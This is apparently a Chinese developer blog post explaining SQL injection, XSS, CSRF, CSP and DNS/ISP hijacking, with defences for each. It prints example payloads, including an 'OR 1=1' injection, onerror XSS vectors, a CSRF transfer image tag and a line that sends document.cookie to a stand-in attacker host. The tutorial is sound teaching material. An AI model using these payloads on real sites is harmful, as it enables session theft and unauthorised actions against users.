从技术到安全, 这是一个趋势. 以前追求的是比较炫酷的技术, 等实现过后发现, 自己还能做什么. 炫技完了之后,差不多就该到悟道的时候了. 用户安全, 就是一个很大的禅. 苹果拒绝 FBI, google拒绝 替换 Michelle 图片。 这些都是保障用户安全性的一个重要示范. 而, 网页安全又是一个巨坑, 基本上没有大量的时间和精力投入,你基本上是爬不出来的. 那这个坑有多深呢? 我这里挖了浅浅的一层土, 给大家看看.
SQL injection
根据名字, 我们大致可以猜测到. 这个攻击是和sql数据库相关的(关系型数据库).
系统的解释一下:
sql 注入: 指的是攻击者注入一段恶意的脚本, 然后执行他想要的结果。 比如: 获取到该db 里面所有的数据,删除数据库数据.(由于, 后台给前台开放的接口通常只是作为查询使用, 所有 获取db 所有数据这类攻击比较常见).
实例攻击
这类攻击通常发生在,后台使用动态脚本生成sql query string. 而且, 途中不经过混淆处理. 如下:
var name = req.query.userName;
var pass = req.query.password;
sql = "SELECT id FROM users WHERE username='" + uname + "' AND password='" + pass + "'";
database.execute(sql);
然后,attacker 可以 写入如下的sql query string:
"SELECT id FROM users WHERE username=’username’ AND password=’pass’ OR 1=1";
即, 将pass写为: pass'+"OR 1=1"+'; 并, 发送给服务端处理.
额... 结果的话, 你应该懂的
上面sql injection 只是 一个比较友好的 入侵(这算是良心黑客). 如果, 你的sql statement的操作权限不仅仅只限于查询, 还包括CRUD操作的话. 那么,hacker 能做的就大了去了.
如果你的接口涉及 修改. 当hacker, inject 了一段 代码,破坏你的数据的完整性. 这种情况可能造成, 其他查询时,会出现无效查询的结果.(void transaction), 甚至返回别人的数据.
如果你的接口 涉及 删除. 那结果我就不多说了.
另外, 还有一些关于admin 或者 visitor的权限分配。 这也是考察数据库安全性的一个标准.
SQL 防护
第一类方法, 算是一个比较笨笨的。 通过一个blacklists正则匹配, 检测 query string里面的参数, 将一些可以字符排除掉。
第二类方法,也是最常用的。 使用数据库自带的一系列函数进行查询. 这个应该不用多说, 数据库自带库的函数 内部 对参数的处理,一定比我们重复造*检测正确性高~
比如, mongoDB 中的插入:
collection.insertMany([],cb)
XSS attack
XSS(Cross-site scripting). 你问我为什么不是CSS? 我也不知道.
XSS主要是指跨脚本攻击, 其实就相当于执行js脚本. 经常出现在评论回复的逻辑页面中.
以及回复:
XSS 原理
我们先理解一下, 评论回复的流程.
正常情况下:
用户评论的内容--comment
异步发送给Server, server 将其存储在数据库中。 成功时, 则返回新加的评论--comment
此时, 使用
<p>comment</p>
将评论渲染出来.
上面一个流程可以很容易的说明一个道理, 即, 没有对comment 进行任何的处理. 在这种情况下, XSS 简直就是如鱼得水。
比如:
//comment 为:
<script type="text/javascript">console.log(123);
</script>
//渲染出来的内容为:
<p><script type="text/javascript">console.log(123);
</script></p>
最终渲染到页面上的结果是, p里面的内容为空,控制台输出了123.
实际上, 评论已经被保存在数据库。 当其他用户访问时,该评论中的script 脚本同样会 发生作用.(可怕ing) 这才是, XSS 攻击最让人头疼的地方.
下图是基本运作流程图: from acunetix
XSS 其实, 不仅仅只有script 这个东西可以使用. 凡是涉及用户输入并且渲染到页面上的,都有可能被XSS。
比如:
模板 | 实际渲染 |
---|---|
< img src=usrInput> | < img src="#" onerror="alert('XSS')"/> |
< iframe src=usrInput> | < iframe src="http://xss.html"> |
< input type=userInput> | < input type="image" src="#" onerror="alert('XSS')"/> |
background插入 | background:url(javascript:alert(XSS)); |
... | ... |
所以上面就是针对标签属性进行XSS 攻击. 这类方式的防止很好解决。就是使用setAttribute方法进行设置即可.
XSS 能做什么?
通过将脚本嵌套在正规页面上, 用户在打开该页面时, 根本无法察觉, 自己已经变成XSS's victim. 所以, 当用户打开网站时, malicious 脚本便会执行. 该脚本通常能做的事情:
通过document.cookie 获取用户的cookie信息. 而且,如果你的token 不是放在Server 端,而是放在用户cookie中,那么hacker 就完全获得该用户的信息, 假冒用户进行登录.
比如:window.location='http://attacker/?cookie='+document.cookie
脚本能够对界面进行修改
如果页面上有用户输入的私密信息,比如银行账号,密码等。就可以绑定监听, 并通过ajax将信息发送给hacker. (跨域完全可以通过CORS解决)
使用H5的相关API, 获得用户的人身信息. 比如, 摄像头, 地理位置等. 当然, 用户也不是傻, 不会平白无故的就把确认点了(使用这些API时, 需要获取用户的同意). 但在 social engineering 面前, 这一切都不是事.
地址的重定向, 这应该不用过多解释. 只要使用
window.location.href
即可.
prevent XSS attack
现在,我们已经知道xss的原理,即, 通过嵌入script脚本, 执行恶意的操作. 所以, 最基本的防护可以分为两种:
验证: 通过验证用户输入的内容, 是否符合规则. 防止hacker插入, 恶意代码.
Encoding: 其实就相当于字符的转义. 比如: 将'<' 转换为: <. '>'转换为: >. (防止插入<script>或者其他tag--< p>< /p>)
验证
实际上, 验证可以分为blacklist 和 whitelist验证. 不过,blacklist 只是作为介绍, 在正式开发中, 最常使用的应该算是whitelist.
blackList
这种方法其实就相当于枚举法, 只是, 他猜测的方向是针对hacker用户. 比如. 设置一个正则./<script/g
. 使用,replace进行替换, 或者弹出提醒框.whitelist
这和blacklist一样, 只是里面设置的是对正确内容的验证. 该方法,主要是注册时候使用。 对用户名, 昵称等信息,使用相关的正则表达式进行验证。 这就是典型的whitelist 方法.
Encoding:
这个方法就比较实诚了,没有浮夸的正则. 有的是一些自定义的convert。 比如上面提到的:
Convert & to &
;
Convert < to <
;
Convert > to >
;
Convert " to "
;
Convert ' to '
;
Convert / to /
;
这样, 可以防止嵌入的scipt脚本执行, 使其变为 data 直接渲染到页面上. 下面我们针对不同的场景具体说明一下, XSS保护的措施.
针对标签属性的XSS防护
在讲解标签防护之前,我再把上面的XSS attack实例搬下来:
模板 | 实际渲染 |
---|---|
< img src=usrInput> | < img src="#" onerror="alert('XSS')"/> |
< iframe src=usrInput> | < iframe src="http://xss.html"> |
< input type=userInput> | < input type="image" src="#" onerror="alert('XSS')"/> |
... | ... |
上面提到了,可以使用setAttribute进行内部的encoding. 在client-side 还有其他方法可以实现.
用户输入 | 转义方法 | ||
---|---|---|---|
< p>usrInput< /p> | eleP.textContent=usrInput | ||
< p attr> | ele.setAttribute(attr,usrInput)\ | \ | ele[attr]=usrInput |
URL param | window.encodeURLComponent(usrInput) | ||
style value | ele.style.prop = usrInput |
简而言之就是尽量在操作用户输入的数据的时候,减少innerHTML和outerHTML出现的频次.
这里,还需要对URL para做一点补充.
对于URL encoding的选择
对于encoding的方法,原生js 提供了3个global Funciton.
escape()
encodeURI()
encodeURIComponent()
实际上,他们3个都可以作为encoding的方法. 但是, 既然都可以,那为什么会有3个呢?
in fact, 他们的专业方向还是很不一样的.
escape()
该方法主要是对字符串(string)进行编码(ascii). 所有的空格,标点,以及任意的非ASCII字符都会被形如:%xx
的替代. 如果 character 的 比特数>255 则会使用%uxxxx
来代替--最明显的例子就是中文. 其中,这几个字符@*/+
不会被编码.
接受的参数就是string. 即. escape(str); 详细demo 可以参考:xkr escape.
其对应的decode的方法是: unescape();
该方法主要的应用场景是对 传输内容进行转换, 比如插入数据库的内容等. (实话说,使用频次还是挺低的)
encodeURI()
该方法是一个比较常用的编码url的方法. 通常,是用来将url字符全部转化为合法字符, 进行传输.
比如: encodeURI("http://example.com?name=坏人")
输出的结果为:http://example.com?name=%E5%9D%8F%E4%BA%BA
.
encodeURI 不会对下列字符进行convert:ASCII字母,数字,~!@#$*()=:/,;?+& '
对应的decode方法为: decodeURI
主要使用场景有:对URL进行编码,
以及post方式,指定Content-Type:application/x-www-form-urlencoded 时,传输的encodeURI(str)内容.
encodeURIComponent()
这个方法最容易和encodeURI 混淆. 实际上, 该方法只针对于URI中的 query.(甚至连search部分都不能用,想想都是怕的).
该方法不会对: ASCII字母 数字 ~!*()'
进行convert.
其对应的decode方法有: decodeURIComponent
所以, 在形如.< a href="http://example.com?usrInput">link</a >
我们就需要对usrInput进行encodeURI(), 编码转化了.
以及,在动态添加styel时,对于background或者background-url里的, usrInput 进行encodeURI().
对于input内容进行防护
这个主要就是针对于评论内容了. 不过由于内容过于复杂,这里就不详述。 大概就是上面的几点,以及 字符的转化.
推荐使用XSS module 进行转化.
CSP之终极防护
我一直深信着一句话
There is no absolute security system
就算一个小小的lapse也会给hacker 可乘之机. 所以, 在进行XSS 防护时, 难免会有些遗漏, CSP 应该算是在hacker 找到漏洞后的一道有力的防线.CSP 我已经在我另外一篇博文里面阐述了CSP页面防护
CSP的设计目的就是为了增强网页的安全性,解放程序员和hacker的死磕. 而且,对于XSS的防护有这天然的优势. 因为XSS,主要就是插入内嵌或者 跨域的script 执行.
而CSP可以做到的就有:
不加载不安全脚本
不执行内联脚本
不执行eval函数
那, 应该如何使用呢?
CSP主要和响应头--Content‑Security‑Policy 相关.
通过server-side 返回Content‑Security‑Policy 头,来启用不同程度的防护措施. 这里,我们只介绍于XSS相关的.
通常,我们可以在CSP 头里设置一些相关directive.比如:
default-src: 默认资源设置, 比如js,css,img,fonts,xhr等
script-src: 设置js脚本的相关方法
style-src: 设置css脚本的相关方法
img-src: 设置图片的相关方法
child-src: 设置iframe的相关sandbox
...
不过我们一般只需要了解前4个即可. 每个值可以取相关的属性.比如: default-src self
. 表示默认页面的资源只能加载同域的内容.
我们来着重看一下 default-src
可以设置的内容
property | effect |
---|---|
none | 不允许从任何地方加载资源(估计用不上) |
self | 运行从同域的server下载资源 |
unsafe-inline | 允许运行内联脚本 |
unsafe-eval | 允许运行eval方法 |
比如: 我们可以设置 script-src 'self'
. 此时, 只允许同域资源. 并且不会执行内联脚本和eval函数. 如果解除两者的限制,可以添加上.script-src 'self' 'unsafe-inline';
另外, 我们还可以设置跨域脚本的执行script-src 'self' http://example.com
这样,资源不仅仅可以从同源server-side下载,还可以从example.com 下载.
推荐一个,比较好的CSP头的设置内容:
script‑src 'self' scripts.example.com;
img‑src *;
default‑src 'self' http://*.example.com
那如何启用CSP呢?
在nginx下,给conf配置文件, 加上如下的内容.add_header Content-Security-Policy "default-src 'self';";
CSP参考文献:
CSP.com
CSRF 攻防战
CSRF or cross-site request forgery or 跨域假冒请求. 他的工作原理是, 通过GET 或者 POST发送相应的信息给一个信息网站, 比如, 银行网, 信贷网, 百合网等. 在发送过程中, 实际上该次请求会带上你的原本的IP address 和 cookie info.
实例
假设,网站www.example.com 没有进行CORS(跨域请求设置), 同意任意域名的访问,即:Access-Control-Allow-Origin: '*';
那么, 如果该网站的某个路由设置不当,就有可能发生CSRF. 现在, hacker 给 victim 发送一封 e-HTML 邮件. 邮件里面有这样一段内容:<img src="https://www.example.com/transfer?amount=1000&destination=jimmy">
翻译一下, 就是给jimmy账户, 转过去100¥. 当然, 前提是, 该接口满足该方式的访问.
当用户打开该email时, img会立即发送一个请求。 假设, 你的登录状态(session cookie) 还未过期, 在该请求中,会一并带上在https://www.example.com/transfer
下存储的cookie. 相当于获得了你已经登录的权限, 假冒你进行相关的操作. 但是, referer 里的内容是不会被改变的, 即如果你是从 www.malicious.com 发的请求, 那么referer 还是 www.malicious.com(提示: 跨域)
so, 不过目前来说,没有哪位童鞋会通过 最让hacker喜欢的get方式, 去传输如此重要的信息.而且在get传输的时候, 有心的dev也会做相关的混淆.
那, CSRF就没有办法了么?
actually, 没了get 我还有POST. 不过, 我们这里并不是讨论ajax的 跨域post. 因为ajax的post请求,只会发送当前页的cookie, 而不会在浏览器中搜索目标页的cookie. 而且, CSRF的工作环境是user PC. 而Form 表单发送就是CSRF最好的post 发送方式, 即可以带上cookie, 又可以避免浏览器的跨域干涉. 下列是, CSRF常用的几种方式
那CSRF 中, 通常怎么进行POST的发送呢?
POST's CSRF
很简单,构建一个form表单即可.
<form action="http://example.com" method="POST"><input type="text" name="account"><input type="text" name="password"><input type="submit"></form>
将表单插入到你malicious 网页内部, 利用社工, 诱导用户进入你的页面,然后发送内容. 如果你想做的比较隐蔽的话,可以使用iframe, 额外将表单引入, 然后, 自动执行submit 操作.
现在,hacker都能通过 GET 和POST, 巧妙的获取用户的session. 那, how to prevent CSRF?
how to Prevent CSRF
CSRF有3个特性: 跨域, cookie, 请求方式. 所以,只要阻断其中一个,那么CSRF 就可以 go die了.
设置 secert Token
这个就很好理解了, 即, 前端和后台双方协定一个token内容 , 或者直接由 back-end 生成 random token. 然后在有请求到来时,server-side 进行Token验证.
<form action="https://example.com/tweet" method="POST"><input type="hidden" name="csrf-token" value="nc98P987bcpncYhoadjoiydc9ajDlcn" /></form>
这里的value 就可以用来作为request有效性的说明. 通常设置的token也是有讲究的, 比如可以使用 指定字符+time来生成, 指定字符+salt生成. 这些Token验证方式,我们都可以自己下去琢磨的。
所以, 就算hacker生成了 form表单, 但是, 他的验证内容可能已经过期(无效Token).
同样, 我们还可以在cookie中设置验证Token. 原理我就不过多介绍了, cookie中设置的内容和上文在form中设置的其实差不多. 另外, 还需要注意的是,针对重要cookie, 需要设置 httpOnly的选项, 防止用户脚本获取cookie内容.
尽量使用JSON类型传输
因为, form 传输的格式为:
Content-Type: application/x-www-form-urlencoded
而,JSON的传输类型为:
Content-Type: application/json
form 没有办法去模仿JSON类型进行传输,所以,这也是一个很好的办法.
另外, 如果不得不使用form表单方式提交, 还有另外一种方式. 我们可以通过request Header中的referrer属性, 来获得发送脚本的地址. 通过whitelist, 来允许指定域的请求访问.
DNS hijacking
关于DNS劫持, 事实上更偏向于User,因为, developer实际上,对这个也无能为力。 我们来简述一下,DNS hijack的过程。
如果大家清楚DNS 的解析过程话,上图的逻辑就很清楚了。 用户输入一个真域名,向 fake DNS Server 发起UDP请求,然后, DNS返回一个malicious的IP地址, 结果,用户打开的是一个全屏广告,或者是 妹妹寂寞的网页.
actually, 上图还忽略了一个很重要的步骤, 就是 用户如何会向 fake DNS Server 发请求的呢?
实际上, 这个锅,需要用户背. 以前* horse (木马病毒)盛行的时候, OS的安全性 真的 有点可怜. 当user 下载 来源不明的video,image, software... 很可能会附带上蜜汁病毒, 然后,病毒会修改你的ISP服务配置, 即, 就是你的DNS提供商的IP地址. 然后, hacker会将他control的DNS Server 填加进去. 那, 我们怎样才能知道自己被hack了呢? 很简单,google呗.对于,MAC用户, 只要找到你的DNS列表,然后对应FBI或者国家安全网提供的DNSchanger IP对照一下,如果有就cleanup一下.
DNS hijacking 的危害
虽然DNS hijack的攻击成本很大, 但是,成功后的profit 也是相当大的. hacker 可以将fake的银行网页信息发给你, 诱骗你的account. 或者 将正确的网页缓存, 插入更多的广告收取广告费用.
how to revent hijack
事实上, 只有一种办法,洁身自好~ (你懂的)
HTTP(ISP) 劫持
首先,我google了--HTTP 劫持, 结果, 歪果仁对于ISP hijacking的认识, 还是蛮少的,结果全是神马DNS劫持之类的. 后来, 我特么换了中文搜索--http 劫持. 我就不多说了. 看来国人对于HTTP 劫持的认识还是超级深刻啊喂. 原因是什么-- 广告呗~
看一个常见的弹窗广告:
你可以关闭他, 但是, 特么每次打开都要关闭, 超级烦~
试想一下, 当你打开一个页面, 结果左侧右侧全是些 iframe广告, 第一个反应是, 网业主, 你是不是穷疯了, 没事给自己页面添这么多广告是干嘛... 网页主 莫名的背锅. 然后, 只能对这些小白深深的叹口气-- 亲, 这不是我干的, 这是电信, 联通那些ISP 提供商干的...
所以, 由于没有完备的网络法, 对于ISP 干的这些龌蹉勾当,监管局根本不鸟你. 所以, 你懂的.
HTTP 劫持原理
这里我们要清楚一点, CN的运营商并不是hacker, 他不会这样或那样的获取用户的信息(我没说郭嘉的墙), 可能为了商业目的,会变得没有节操,给你安放一点广告. 所以, 这里hacker并没有插入, 没节操的只是运营商.
ok~ 我们正式来看一下ISP如何劫持的HTTP流量的:
当C->S 发送一个网页请求
ISP 获得之后, 给他自己的缓存服务器
如果命中缓存, 则返回已经修改过后的页面信息(满屏操广告). 如果没有, 要么是你的网页浏览量不够,要么是别人已经存满了,你的网页侥幸的没有被插菊花.
命中后,缓存服务器伪装为S,给C发送一个302(临时移动,告诉你,应该从另外一个地方去取资源). 由于, 这是个重定向,所以传输速度就不用说了, C 就只能乖乖的去缓存服务器那取资源. 而忽略正确的Server返回的数据.
之后的事,就是你看到的网页了. 那我们有没有什么防护措施呢?
HTTP 劫持防护
首先, 我们需要明确一点, 这里的防护有两点:
User 对抗 ISP
developer 对抗 ISP
普通用户的防范
直接和你家网络提供商打电话,让他取消广告推送.
该方法需要对技术有点了解特别是对网络结构模块有了解--网关,代理,隧道,ip等. 参考:HTTP 防劫持
developer 防范
简单有效的方式是,使用HTTPS 加密方式传输. 因为, ISP就是通过抓你的HTTP包,然后分析里面的内容,最终得到结果. 而使用HTTPS 方式, 即使ISP 得到你的HTTPS包,由于有SSL 的加密, 他也不能获得你的包内容.
替换你的js的提供商,使用HTTPS路径进行加载。比如使用七牛的HTTPS提供的脚本服务. 因为, ISP 不经可以结果你的HTML, 也可以结果你网页中所有的HTTP请求,而js又是最重要的内容,所以,把这个控制到了,那么你网页可以抵挡差不多80%的HTTP 劫持.
总结图谱
由于本人精力和知识有限. 只能概括以上的一些Attack方式, 当然,网络安全一直就是个迷。 DDOS 永远无法破, 各种无厘头的攻击。 不过, 正所谓 竞争才有动力嘛~
上图:
这是一个很简单的一维flowchart, 如何构建自己的一个网络体系,是需要时间和精力投入的,当自己有一个完整的flowchart之后,我相信,你对网络安全的趋势也必定有所了解。